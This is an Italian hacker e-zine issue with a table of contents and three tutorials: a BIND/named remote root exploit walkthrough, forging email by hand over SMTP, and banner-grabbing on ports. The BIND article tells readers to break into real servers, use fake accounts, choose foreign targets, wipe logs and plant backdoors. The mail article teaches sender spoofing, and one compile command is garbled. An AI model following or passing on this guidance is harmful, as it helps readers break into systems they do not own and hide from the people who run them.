|<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<| +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+ |>-[ INTRO ]------<*>-------->0lDir0N61<-----------<| |<-[ MANIFESTO ]------>*<------------------------------>| |>-[ DISCLAIMER LEGALE ]------<*>------------------------------<| |>-[ NEWZ ]------<*>-------->0lDir0N61<-----------<| |>-[ LVOA AREA61 ]------<*>-------->0lDir0n61<-----------<| |>-[ L'ALTRO CYBERPUNK ]------<*>-------->0lDir0N61<-----------<| |>-[ GLI ALLEGATI ]------<*>------------------------------<| |>-[ L.I.S.A ALTRA... ]------<*>-------->0lDir0n61<-----------<| |>-[ IN DIRETTA DA DISINFO ]------<*>---------->Cyb0rG<------------<| +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+ |<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<| |>>>>>>>>>>>>>>>>>>>>>>>>> -=| hAcKiNg |=- >>>>>>>>>>>>>>>>>>>>>>>>>| |<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<| +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+ |>-[ BIND/NAMED EXPLOIT ]-------<*>---------->Vulcan<------------<| |>-[ FAKE MAIL 4 NEWBIES ]-------<*>-------->The Jackal<----------<| |>-[ PORTSURFING TUTORIAL ]-------<*>---------->Vulcan<------------<| |>-[ TCP/IP 4 NEWBIES ]-------<*>-------->SONOunuomo<----------<| |<-[ OCCULTAMENTO E... ]------->*<---------->aZAlIn<------------>| |>-[ IP NUMBER SYSTEM ]-------<*>------->(SONOunuomo)<---------<| |>-[ NETBUS + TELNET ]-------<*>----------->|M4X|<------------<| +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+ |^] krIpt0 [^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^| |>-[ L'ANGOLO DEL KRITTOGRAFO ]---<*>---------->0-z0nE<------------<| +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+ |^] st0riEs [^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^| |>-[ ITALIAN CRACKDOWN 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+=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+ |<-[ SISTEMI DI NUMERAZIONE ]----->*<---------->QueQuero<---------->| |<-[ NEOTRACE212 NAG_REMOVE ]----->*<------>Int19/Il.Socio<-------->| |<-[ 3D STUDIO VIZ RELEASE3 ]----->*<---------->QueQuero<---------->| +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+ |<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<| |>>>>>>>>>>>>>>>>>>>>>>>> -=| pHreAkInG |=- >>>>>>>>>>>>>>>>>>>>>>>>| |<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<| +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+ |<-[ PROGETTO PSC ]------->*<------------->DieseL<--------->| |<-[ LA FIAMMA OSSIDRIKA ]------->*<------------>sIcKb0y<--------->| |<-[ BEIGE BOX ]------->*<----------->(gouranga)<------->| |<-[ KOME TI COMBINO...2 ]------->*<------------>sAtAnEll0<------->| |<-[ MINI LINEMAN HANDSET ]------->*<-------------->VELENO<-------->| |<-[ SERRATURE CABINE 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DAL CODICE PENALE ]------<*>---------->cYb0rG<------------<| |>-[ PIRATERIA: COPIARE... ]------<*>-------->Libertari ML<--------<| |>-[ HOW TO BOYCOTT ]------<*>------->cYb0rG-OlDrake<-------<| |>-[ MANUALE DI CONTRO... ]------<*>--------->Harry Caul<---------<| +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+ |^] lEt'S tHinK aB0ut iT [^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^| |>-[ UNA BREVISSIMA RIFLESSIONE ]-<*>----------->kAsPItA<----------<| |>-[ DEAD BULK WALKING ]-<*>---------->0lDir0N61<---------<| |>-[ KOSA NON FA UN VERO HACKER ]-<*>----------->BluEb0y<----------<| |>-[ LETTERE DI UNA GIOVANE... ]-<*>------------->FuCk<-----------<| +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+ |^] aLkOliKs! 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Ammesso che usino linux ! NOTE: mettete la caffettiera sul fuoco..perchè dopo un paio d'ore sentirete bussare la CIA o i marines..un buon caffè è sempre gradito.....hahaha /°\°/°\°/°\°/°\°/°\°/°\°/°\ Di che vi parlo oggi? Di una cosa molto interessante, gli exploit da remoto ed in particolare del bind/named exploit. Conto di trattare diversi tipi di exploit su AiS, ma questo dipende da molti fattori, il mio tempo libero, i nuovi exploit che escono, e anche le mie conoscenze e poi ci sono vari siti che parlano degli exploit e non potete sempre avere la pappa pronta. Comunque spero nelle prossime uscite di fornirvi idee e metodi per sfruttare altri "remote exploit". Bene adesso s'inizia. Ricordate che l'hacking è una passione, una sorta di dedizione e studio contemporaneamente, per cui il presente testo deve essere interpretato come uno stimolo a migliorarvi. Quindi, trovatevi un po di tempo e cercatevi che significa buffer overflow, cercate di capire come funziona il named, cercete di interpretate codice c, cercate altri exploit da remoto. Studiate insomma, io non posso scrivere un enciclopedia (anche perché non ne sarei capace.) Piccola premessa giuridico/legale; usando questo articolo tu ti rendi conto che le informazioni e gli esempi in esso contenuti, sono da intendersi solo per scopi educativi, e qualunque uso ne venga fatto contrario a questi scopi, va imputato alla responsabilità del lettore. Inoltre puoi diffondere liberamente l'articolo purchè lasci invariato il nome del suo autore(e che cazzo). Se nell'articolo riscontrerete qualke stronzata siete in oltre pregati di correggermi scrivendomi una email a vulcan12mm@hotmail.com. Un'altra cosa, io non vi conosco e voi non mi avete mai visto. Se avete visto un cane io sono un gatto, se avete visto un gatto io sono un topo, se avete visto un topo ..... e così via.....fino ad arrivare ai batteri monocellulari. Passiamo all'articolo. Un exploit si dice remoto quando tramite esso un hacker riesce ad avere il l'accesso ed il controllo di una macchina senza essere in possesso di nessuna shell o account sulla stessa. Se non sapete cosa sia una shell o un account allora datevi fuoco con 10000 lire di benzina. Quando invece ottieni privilegi di root su una macchina avendo un account ed una shell su di essa allora l'exploit si dice locale. Bene dopo questa breve premessa di metodo(minchia ma sono troppo figo nel linguaggio) passiamo a vedere uno degli exploit da remoto che più mi piacciono, hehehe sapete mi ha dato parecchie soddisfazioni. Parliamo cioè del "bind/named exploit". Questo particolare exploit agisce sul named cioè un programmillo delle macchine Linux che assieme al bind serve alla gestione di un dominio dns, questo programma contiene un bug che lo rende exploitabile da remoto. Quello che il named fa non è particolarmente importante per i nostri scopi, (se proprio lo volete saperlo inviatemi una email e comunque vi ho detto che dovrete studiarvelo) a voi basti sapere che di solito si trova nella dyrectory usr/sbin/ di tutte le macchine linux. Pertanto tutte sono potenzialmente exploitabili. Benone siete caldi? Siete pronti? Comiciate a dare una rispolverata al vostro pinguino, perché adesso lo mettiamo a dura prova. Perché abbiamo detto "potenzialmente exploitabili"? perche non tutte le versioni del bind sono exploitabili ma solo quelle versioni sino alla 4.9.6 e quelle basate sulla 8.1.1, anche se ora mi sembra sia uscito anche l'exploit per la 8.2.2 non ricordo bene. Cosa fa questo benedetto exploit? Sfrutta semplicemente un buffer overflow che fa andare in tilt il named cioè lo crasha e vi consente di entrare sulla macchina con privilegi di root. Il tutto avviene sfruttando un valore di offset ed uno di allign. Potrebbe sembrare molto complesso ma non lo è anche perché esiste un altro programma (ve lo allego sempre nella ezine) che si chiama bindinfo.c questo ti da informazioni sulla exploitabilità del bind di una macchina e sui parametri da settare. Ricordatevi: tutte le versioni 4.9.5 e 4.9.6 ed anche le versioni 8.1.1. Comunque non dimenticate mai che l'importante è provare e riprovare. Non usate semplicemente il codice c, cercate di interpretarlo, e per usare l'exploit dovete comunque essere abbastanza esperti. Bene l'exploit si compone di due parti: - BIND INFO - BIND EXPLOIT La prima ci darà delle informazioni sul bind della macchina remota, verificheremo perciò se è exploitabile e l'altra sarà l'exploit vero e proprio, che ci darà accesso da root alla macchina senza decrittare passwd file o shadow file. Fantastico no? E allora non vi lamentate perche forse nessuna ezine vi da delle precise spiegazioni sugli exploit e su come usarli. AVVERTIMENTO: non usate assolutamente l'exploit se non siete in grado di dissimularvi sul sistema remoto e di editare i files di log. Ricordate infatti che avrete l'accesso a root immediatamente per cui da subito dovete sapere come muovervi. Comunque io non mi ritengo responsabile lo ripeto. Se fate cazzate è solo colpa vostra. Se non siete sicuri di quello che state facendo provate prima a capire cosa sia il named sulla vostra macchina. Ve lo ripeto /usr/sbin/named è un eseguibile. Il file di configurazione del named è situato invece in /etc/named.conf e contiene tutte le informazioni a cui accede il bind per la gestione di un dominio. Se non avete capito passate oltre, perché non posso spiegarvelo sarebbe troppo lungo, e poi per usare l'exploit non serve. Anche se vi esorto ancora a cercare materiale sull'argomento per sapere almeno di cosa stiamo parlando. Vediamo cosa ci serve: - vi serve un account falso (farselo è facile, provate con jumpy.it ad esempio) - dovete conoscere le tecniche di dissimulazione (ricordate che se lasciate l'ip sulla macchina vittima vi beccano subito = viene la polizia a casa = sequestro del PC + processo = fottuti!!) - dovete sapere editare i files di log (di questo ne parliamo magari sui prossimi numeri) - linux (è obbligatorio dobbiamo compilare infatti bindinfo.c e named.c ci serve un compilatore c del tutto simile a quello della macchina che attaccheremo) - un poco di culo nel beccare un server con il named exploitabile Ok abbiamo tutto? SI? Bene, i sorgenti dell'exploit li trovate negli allegati alla ezine e si tratta di: - Bindinfo.c - Namedexploit.c - Bind4_9_5.c - Bind4_9_6.c Compilatevi prima bindinfo.c con il comando: (insomma vi devo dire tutto?) gcc -o bindinfo.c binndinfo Fatto? Ora avviate con /dir/incui/siete/bindinfo e lui vi richiederà un host. Date il nome del server linux che volete venga controllato e il programmino vi dirà la versione del bind oppure vi dirà che non è determinabile se la versione è diversa. Se la versione è exploitabile bene. Utilizzate a seconda della versione uno degli exploit che abbiamo visto sopra. Di questi Namedexploit è il piu completo: se lo avviate senza parametri vi da infatti una visione completa delle varie versioni del bind exploitabili....e della configurazione dei parametri, offset compreso. Lo sapevo che l'offset vi avrebbe preoccupato. Vi do una breve spiegazione detto in parole molto ma molto povere si tratta di un valore che permette al programma di settare i parametri da passare al buffer da exploitare. Per cui buon hackeraggio...aaaahh dimenticavo dal momento che entrate da root ricordate che il named è down....cioè lo abbiamo crashato pertanto bisogna riavviarlo una volta dentro o l'amministratore di sistema se ne accorge. Come riavviarlo....semplice dalla shell digitate.... Cd /etc/sbin/ ./named In pratica rieseguite il named. Ed il gioco è fatto. Ora e come se non fosse mai stato crashato. (quasi! hihihi) Bene i files, tutti rigorosamente in formato c li trovate allegati alla ezine. Ok ragazzi, studiate e ricordate che esistono altri axploit per il named basta cercare su: - www.anticode.com - www.rootshell.com sopratutto su anticode c'è un'intera area dedicata. Leggetevi anche i testi. Ah le solite raccomandazioni, il server da attacare cercatevelo straniero, evitate tutti i .gov e .mil: sono pericolosissimi, ricordatevi che il tutto funziona solo su macchine linux, quando siete dentro ripulite i file di log e lasciate la vostra bella backdoor dove volete. (Uff tutto di un fiato....) Un salutino dal vostro vulcan e non fatevi beccare..... Se avete problemi o volete comunicarmi qualche cosa di errato che ho detto mandate una email. PS (se vi beccano non mandatemi nessuna email) hihihi ---_vulcan_--- -=!!!|-fAkE mAiL 4 nEwBieS-|!!!=- Autore: The Jackal --->Intro<--- Se devo essere sincero, parlare di fake-mails mi risulta un po' complicato per due motivi fondamentali: Il primo, deriva sicuramente dalla notevole mole di informazioni sull'argomento gia' pubblicata da altri... e tirare fuori qualcosa di interessante ed, allo stesso tempo, originale e' una cosa abbastanza complicata. Il secondo e' di carattere un po' piu' tecnico. Infatti, per quanto il nocciolo dell'argomento sia abbastanza semplice ed alla portata di tutti, parlare di fake-mails implica tutta una serie di conoscenze che e' difficile dare per scontato (soprattutto se penso che questo articolo potrebbe anche essere letto da un "newbie" o da un "wannabe"). Quindi tentero' di essere il piu' completo possibile, ma senza scendere troppo nei particolari di argomenti come "Telnet ed i suoi comandi" o "Anonimous Remailers" ai quali, magari, dedichero' altri articoli. E chissa' che scrivendo questo articolo non riesca a mettere un po' di ordine anche nella mia testa, dato che sul mio hard disk ho una trentina di documenti che parlano di FAKE-MAIL$... --->Disc-LAMER<--- (lo so che si scrive Disclaimer... ma non so se avete capito il sottile gioco di parole!!) Ho scritto questo articolo per INFORMARE e non per istigare o determinare in qualcuno la volgia di compiere azioni illecite. Se pensi che violare le leggi informatiche sia il modo migliore per affascinare e guadagnare la stima dei tuoi amici, smetti subito di leggere. Non c'e' niente di affascinante o di interessante nel diventare un criminale. § The Jackal § --->LeT's BeGiN<--- Se la maggior parte di voi sa che per spedire una mail non occorrono tutti quei programmini che ci vengono propinati dalla mattina alla sera nelle riviste specializzate (vedi ExploDER, Netscape, Opera ecc. ecc.), forse non proprio tutti sapranno che, per inviare una mail, non occorre nemmeno avere un account sul server dal quale volete spedire. (lo sapevate gia'? Dhooo!!). Tutto quello che vi serve e' il semplice e solo IP address del server o il suo nome host. Una volta scovato "l'indirizzo" (chiamiamolo cosi'), dovrete "telnettarvi" alla porta 25 di quel server e qui, nella maggior parte dei casi, vi aspettera' il "demone" piu' bucherellato della storia di tutti i software... ovvero il SendMail. Per tutti quelli che hanno sentito parlare di "demoni" solo nei film e nei Giochi di Ruolo (Cyberpunk rulez!!), diro' che anche nell'informatica esiste questo termine. In particolar modo, nel nostro caso, "demone" sta ad indicare un programma che si pone in ascolto su una determinata porta ed aspetta le nostre connessioni. (ora che avete fatto la sua conoscenza, posso smetterla di scriverlo fra virgolette!!) Alcuni demoni, poi, nel momento in cui vi collegherete, vi daranno la possibilita' di interagire (vedi SendMail), altri, invece, vi risponderanno soltanto con del teso scritto dal System Administrator. Fatte alcune puntualizzazioni di carattere teorico (sperando che abbiate gia' chiari i concetti di IP address e di hostname), passiamo ora alla parte un po' piu' pratica. Dicevamo che per creare la vostra (fake) mail bisogna "telnettarsi" alla porta 25 del server (che nel 99% dei casi sara' quella che gestisce la posta in uscita) ed interagire con il SendMail. (perche' ho scritto fake fra parentesi lo scoprirete soltanto alla fine dell'articolo...) Ora, supponendo che il nome dell'host sia fragolone.com , la procedura di connessione al server remoto (quello che io chiamo "telnettarsi") e' sempre la stessa: C:\Windows\telnet.exe -->aprira' l'applicazione telnet di default di -->Windows. Quindi nel campo Ip\Hostname andrete ad inserire il nostro esempio "fragolone.com" (senza le virgolette!!) e, per la porta, naturalmente, la 25. NB. In ambiente Windows e' consigliabile utilizzare altre applicazioni diverse da quella di default, dato che quest'ultima non e' molto performante... come tutto il sistema opertivo del resto. Ad ogni modo la procedura e' la stessa per qualsiasi altro progz. Se vi muovete in ambiente Unix, digitate: telnet fragolone.com on port 25 Fatto? Bene... ecco cosa mi e' comparso a schermo quando l'ho digitato: 220 ciccio.fragolone.com ESMTP Sendmail 8.9.3/8.8.6; Sat 1 Jan 1900 14:23:04 +0000 (GMT) (ti pareva che non dovevo beccare un server con il bug!!)... NB. Lo sapete che anche il sito ufficiale di Star Trek stamattina riporta come "data astrale" il 1900... eheheh... si potrebbe aggiungere un altro film alla serie... gia' vedo il titolo: "Star Trek 31/12/1999: L'ultima frontiera"... Dopo questa battuta squallidissima, fatta per distendere un po' chi, dopo aver visto quella serie incomprensibile di cifre e lettere, aveva gia' deciso di cambiare articolo, passiamo ad analizzare "al volo" proprio il banner di log-in del demone (nel nostro esempio, SendMail), in modo da non lasciare nessun punto in sospeso. Il numero subito alla sinistra (220) e' quello assegnato al tipo di messaggio visualizzato (in questo caso il log-in). Se, ad esempio, causerete un errore, vedrete che il numerino sulla sinistra cambiera' (infatti il messaggio sara' diverso); altrettanto succedera' se proverete a digitare il comando HELP. (vi consiglio sempre di leggere molto bene tutte le pagine degli help... si impara molto piu' li' che su altri 1000 miei articoli!! Inoltre l'help e' fondamentale per capire quali comandi servono per interagire con il demone). --->LeT's CoNtInUe<--- Per quanto riguarda, invece, la parte successiva al 220 (ovvero "ciccio.fragolone.com"), bhe'... questo non ci dice niente che gia' non sappiamo... ci segnala solo a cosa siamo collegati. ESMTP invece ci dice qualcosa in piu'... Infatti questa sigla abbrevia la frase "Extended Simple Mail Transfer Protocol". Questo non e' altro che il protocollo (ma sarebbe meglio dire, "una serie di regole prestabilite, utilizzate dai computer per iteragire fra di loro") usato dal client di posta per comunicare con il SendMail. La versione Extended del protocollo (ESMTP) si differenzia da quella piu' classica e ad oggi, forse, piu' utilizzata (SMTP) per la semplice aggiunta di alcuni comandi (che imparerete sicuramente meglio di quanto io ve li possa spiegare ora leggendo l'help sopra consigliato). Sendmail 8.9.3/8.8.6 ci indica, invece, il nome del demone in ascolto e la sua versione (questa informazione sembra fatta ad hoc per chi voglia avventurarsi nel tentativo di hackerare il server... attraverso queste informazioni, infatti, si potra' ricercare l'exploit adatto e al 99% dei casi perfettamente funzionante... eliminando cosi' una parte del lavoro). Il resto del banner e' costituito solo dalla data, dall'orario e da altre cose marginali. Come avete potuto vedere (o meglio, leggere) non era poi cosi' complicato interpretare il significato di quel banner!! Detto questo, possiamo finalmente cominciare a scrivere la nostra (fake) mail. Bisogna dire che il computer, pur essendo una macchina, e' infondo molto educato e pertanto pretendera' al momento del log-in che voi lo salutiate con il comando: hello (ricordatevi che i comandi variano a seconda non solo dei demoni in ascolto sul server, ma anche in ragione delle semplici versioni di uno stesso demone... consultate quindi l'apposito help). Attendete che risponda al saluto e cominciamo... Prima cosa da inserire e' il mittente, utilizzando il comando: MAIL FROM: (manco di fantasia!!) Se avrete scritto giusto, il server rispondera': 250 bill_gates@microsoft.com ... Sender OK Ora dobbiamo inserire il destinatario digitando: RCPT TO: Ancora, se tutto e' giusto, otterremo come risposta: 250 vero_uomo@amico.it ... Recipient OK (potete aggiungere quanti destinatari volete semplicemente ripetendo il comando... o almeno cosi' e' stato per me) Ora che gli abbiamo dato le coordinate necessarie, possiamo inserire il testo del messaggio. Dando il comando DATA, il server risponde: 350 Enter mail, end with "." on a line by itself Ci dice che lui e' pronto a ricevere il corpo del messaggio e che, quando abbiamo finito di scriverlo, glielo facciamo capire digitando un punto su una linea vuota. Un esempio? Scriviamo: SUBJECT: Questa e' una prova di (fake) mail Se mi stai leggendo, significa che ho imparato a mandare le mail senza Exploder!!! . <------- Questo e' il punto... non e' una macchia sullo schermo!! Dando INVIO dopo il ".", il server spedira' automaticamente il messaggio e ci rimandera' il codice identificativo della (fake) mail appena scritta: 250 IAA28884 Messagge accepted for delivery (ricordatevi questo ID, perche' e' uno dei motivi per cui continuo a scrivere (fake) mail fra parentesi). Bene, se avete mandato questa (fake) mail a voi stessi o ad un vostro amico, e' tutto OK... Se, invece, avete mandato una lettera minatoria al vostro capo-ufficio, ed il soggetto in questione non e' un ignorante, fate conto che siete gia' nei guai. Non ci credete? Ve lo dimostro... Andiamo a vedere un po' cosa e' arrivato nella nostra casella di posta elettronica. Allora, sembra una mail normalissima... spedita da... wow!!... Bill Gates!! La verita', pero', viene fuori non appena andiamo ad analizzare gli "headers" completi della mail. (con Netscape li potete vedere abilitando l'opzione apposita... mi sembra che si trovi nel menu' "Visualizza"; per Outlook, invece, tasto destro del mouse sul messaggio e scegliete "Proprieta'---> Dettagli"). Analizzando un po' quello che ci compare sullo schermo, vediamo che nel campo RECEIVED fa bella mostra di se' l'IP e il nome host del mittente. Ora, ad occhio nudo si puo' vedere che Microsoft non compare in nessuna linea (ergo... ci troviamo difronte ad una fake mail), ma se volete essere sicuri al 100% (anche perche' in alcuni casi potreste avere a diposizione solo l'IP e non anche hostname), bastera' giocherellare con il comando: nslookup - ip address (per chi utilizza Unix) o scaricare qualche programma per Windows che abbia questa utility (il mio consiglio si chiama GENIUS... fa il suo lavoro egregiamente e comprende anche altre utilita' come Whois, il Ping, il Traceroute ecc.ecc.). Niente Microsoft, quindi, ma voi questo lo sapevate gia' ;-) Se questo, pero', non dovesse bastare, due o tre righe piu' in basso trovate un campo, dal nome "MESSAGE ID", che riporta dei numeri e delle lettere un po' strani MESSAGGE ID: <00301bf5460. IAA28884@ciccio.fragolone.com> Non vi ricordano niente? A me si, e mi fanno venire in mente il MID che ci aveva dato il SendMail dopo aver scritto la (fake) mail... Cio' vuol dire che sul server di 'ciccio.fragolone.com', a quell'indirizzo, ci saranno conservate tutte le informazioni riguardanti il Messagge ID (MID appunto). Beccati due volte!! Ecco perche' il (fake) e' soltanto ipotetico... Per bypassare questi inconvenienti, si potrebbe tentare di spedire una mail direttamente dal server di Microsoft o attraverso qualche account che sia connesso a questo, in modo da far risultare quantomeno il passaggio... Delusi? Bhe', guardatela dal lato positivo... se voi ed un vostro amico sfruttate lo stesso ISP, potrete sempre mandare una fake mail che sembri provebire dall'amministratore del sistema... (per il contenuto, non pongo limiti alla vostra fantasia)... e questa risultera', naturalmente, autentica in ogni sua parte. --->EsCo<--- Spero di non aver fatto un articolo troppo scontato (del resto l'ho scritto che era per veri Newbies)... come al solito scrivetemi per qualsiasi lamentela o domanda a: End of messagge........ ---The Jackal--- -=!!!|-p0rT_sUrFinG tUt0rIal-|!!!=- Allora ragazzi questo è il primo articolo che scrivo per AiS e spero che ne seguiranno altri, l'intenzione è quella di fornire a tutti i newbies una guida passo passo al mondo dell'hacking cosa che io non ho trovato quando ho iniziato, molte cose le ho dovute capire da me, e ci ho perso un mucchio di tempo. Vabbè basta con ste cazzate iniziamo............ Prima di tutto una premessa......................... Allora, se non sapete un cacchio di hacking ma vi piacerebbe iniziare, continuate a leggere, a patto che non pensiate appena finito l'articolo che sarete capaci dientrare nel mainframe del NORAD o della NASA (almeno non subito hihihi). Sicuramente imparerete però che internet non è solo Internet Explorer, e che la grande rete non è solo Microsoft e non è solo Windows.... ideato dal vecchio Bill, per farvi rimanere nell'obblio di semplici utenti del suo sistema. (Bella la frase vero?) Vi siete stufati di battervi la letterina con word? Vi siete stufati di giocare col vostro giochetto 3D preferito? ....bene allora avete un futuro, avete percepito qualcosa. Se invece il computer vi basta così, con il vostro bel giochetto, e con word e le sue ricche funzioni allora smettete di leggere il mio articolo e continuate pure così, sarete sempre l'utente preferito da mamma Microsoft uno che non si allontana dagli schemi, uno dentro al gioco. Questa vuole, come vedete, essere una guida all'underground informatico, una guida per uscire dai canoni di semplice utilizzatore, e liberarvi da tutte le schiavitù digitali. Sto dicendo troppe cazzate oggi........ Non vi dico che non sono responsabile per ciò che farete di queste informazioni perché gia lo sapete, se vi mettete nei guai, non sono fatti miei, io non vi conosco, e voi non mi canoscete, usando queste informazioni vi rendete conto che siete i soli responsabili delle vostre azioni. Un primo consiglio è quello di installarvi Linux lo trovate gratuitamente, ormai lo regalano con le riviste. Se avete windows per ora potete utilizzare Telnet (ma procuratevi Linux), per le prime lezioncine può andare bene anche win95/98, ma andando più avanti vi serviranno compilatori ecc...e con win non li avete. Inoltre se volete entrare in un sistema Unix dovete capirne il funzionamento, e linux vi permette di capire tutto. Quando io usavo solo windows, i miei studi sull'hacking erano forzatamente limitati e ho iniziato ad interessarmi di nuke e cazzate così. Un lamer ecco cos'ero. Oggi non mi sento un hacker, ma capisco che il mio approccio è più costruttivo e basato su una qualche forma di conoscenza trasferibile agli altri. Comunque se avete linux tutto cambia, avrete a disposizione linguaggi da imparare e un intero sistema operativo che è identico a quelli che volete bucare......ed è diverso da win. Mentre aspetto che ve lo installate iniziamo con gli strumenti che abbiamo. Sto iniziando proprio dall'inizio così mi potete seguire e tutta la premessa scritta prima penso sia proficua per uno che non sa nemmeno cosa sia l'hacking. Chiariamo una cosa, i sistemi a cui facciamo riferimento, in cui vogliamo entrare, saranno dei server di rete Unix, cioè parleremo degli internet provider ......a cosa state pensando? A tin, tiscali, si loro......magari non proprio loro ma l'idea rende molto bene. L'obbiettivo di un hacker è quello di entrare dentro questi sistemi,(e non nel pc dell'amico!!!!) ed assumere privilegi di root. E che significa? Dentro un sistema Unix/Linux ci sono due tipologie di utenti, L'utente normale, che non può accedere ad alcune funzioni di sistema e ad alcune directory, ed il root che sarebbe l'amministratore, che può fare tutto ciò che vuole sulla macchina. Ricordate questa differenza se siete agli inizi ed installatevi linux. Perciò obbiettivo individuato: Entrare nella macchina e divenire root. Dicevamo il portsufing, prima di entrare in un sistema avrete bisogno di una serie di informazioni sullo stesso, che vi serviranno per bucarlo; le informazioni che un sistema lascia sulla rete sono, infatti, la sua prima debolezza. Ricordatelo. Il portsurfing è appunto la tecnica di collegarsi ad un sistema su tutte le porte che questo lascia aperte per avere più informazioni possibili. Per capire questo dovete avere almeno un'infarinatura di come funziona la rete. La rete è organizzata in servizi: web, posta elettronica, ftp ecc. Un sistema (Unix che sarebbe un server di rete) organizza tali servizi e li gestisce tramite dei programmi ogni programma e perciò ogni servizio funziona su una porta? Chiaro? Che significa? Ad esempio quando vi collegate al vostro sito porno preferito state usufruendo di un servizio (web) che è fornito e gestito dal vostro provider tramite la porta 80. La posta elettronica? Il server è sulla porta 25 e così via.... Funziona così: quindi quando spedite un messaggio di posta elettronica il vostro fidato Outlook si connette alla porta 25, quando vi scaricate una pagina web explorer si collega col server alla porta 80 ecc. forse questo voi non lo avete mai saputo....state sicuri che la Microsoft non è interessata a dirvelo. Se vi interessa un elenco di tutte le porte che ci sono su un sistema leggetevi l'articolo di ]CyBoRg[ nel numero uno di AiS. Ora voi vi starete chiedendo ma me che mi interessa? Io voglio entrare nel sistema e non conoscere la rete. Sbagliato perché per entrare in un sistema ci servono tutte informazioni possibili sullo stesso, seguitemi ancora un poco e capirete. Noi useremo telnet(un programma di windows) per collegarci ad ognuna di queste porte, non entreremo nel sistema, ma carpiremo (che bel vocabolo, cazzo) una serie di informazioni che ci consentiranno più in la di entrarci. Intando procuratevi un buon portscanner, un programma che ti consente vi sapere quale di queste porte è aperta,......io ne uso uno che ha anche altre funzioni, si chiama Netinfo, procuratevelo sulla rete il link non lo ricordo...fate una ricerca. Per quando riguarda Telnet, si trova nella cartella c:\windows per cui andate a cercarvelo, ti consente di conneterti ad un sistema remoto, in qualunque porta. Siccome ha dei malfunzionamenti vari vi allego una versione da me consigliata nella ezine. In questa si puo cancellare e sopratutto vedere quello che scrivi. Oltretutto spesso in quello di win l'emulazione terminali funziona male. Comunque lo trovate negli allegati si chiama Turbo telnet. Dove trovate l'indirizzo di un sistema remoto? Bene vi do un URL che contiene tutti i provider italiani ordinati per regione e provincia....proprio tutti! http://www.cilea.it/www-map/NIR-list.html ok ad ogni porta corrisponde un servizio, abbiamo visto, e ad ogni servizio corrisponde un programma che lo gestisce. I sistemi linux/Unix chiamano questi programmi che si occupano di gestire i servizi di rete daemon cioè Demoni. I Demoni sono in sostanza i custodi di tutti gli accessi al sistema, e si occupano della gestione di un particolare servizio su una porta ad essi associata. Quando proveremo con un programma tipo telnet a collegarci a quella porta troveremo un demone ad aspettarci, e vi assicuro che non sarà facile superare la sua sorveglianza.......a meno che non conosciate dei trucchi. Ecco un elenco di alcune porte (per ora vi bastano) e dei demoni che sono associate ad esse. Porta Servizio Daemon 25 Posta Elettronica Sendmail 80 http/web Httpd(Apache) 79 Informazioni Fingerd 21 Ftp Ftpd(Wu-Ftp) 23 Telnet login ok i daemon sono programmi, e come tutti i programmi hanno dei bug, conoscere i bug associati ad ogni versione significa poterli sfruttare a vostro vantaggio per entrare nel sistema. Stiamo parlando dell'essenza stessa dell'hacking cioè degli "exploit". Già gli exploit, sfruttare un bug per ottenere un accesso alla macchina, magari tramite un programmino che faccia funzionare il tutto. Ma come riusciamo a capire i bug che ha un daemon? Semplice guardando la versione dello stesso. Capirete tra un po. Ok avete avviato telnet? Bene in "sistema remoto" mettete un server di quelli che trovate all'URL che vi ho dato, uno a vostra scelta...vi collegate alla sua pagina web vedete l'indirizzo e lo mettete in telnet (togliendo naturalmente sia "http://" e anche tutto cio che c'è dopo la prima "/" (oh signore vi devo aiutare fino a questo punto?), ora in Porta mettete un numero ad esempio 23 telnet e vi collegherete a quel server alla porta 23. Vi dovrebbe accogliere così..... RedHat Linux 6.1 (Cartman) Ver. 2.2.13 Login: questo dipenderà comunque dalla macchina bersaglio....potrebbe non essere un linux RedHat ma un altro linux tipo SUSE o CALDERA ma anche un altro UNIX, SCO, SUN ecc. Ora immagginate di conoscere login e password a quel punto sareste dentro, ma siccome non è con l'immagginazione che si buca un server non vi mettete a provare login e passwd perché i vostri tentativi sono registrati in un file...un file che logga tutto quello che digitate. Limitatevi a segnarvi la versione ed il tipo di sistema operativo, e fatelo con molti server. Vedrete che ci sono moltissimi sistemi operativi, e che alcuni non vi daranno le informazioni che cercate. Passiamo ora alla porta 25: il demone associato al servizio di posta elettronica si chiama " sendmail " come abbiamo visto, come fate a che versione di sendmail gira su una macchina? Stesso discorso di prima vi collegate col telnet ad un provider e nella porta mettete ora 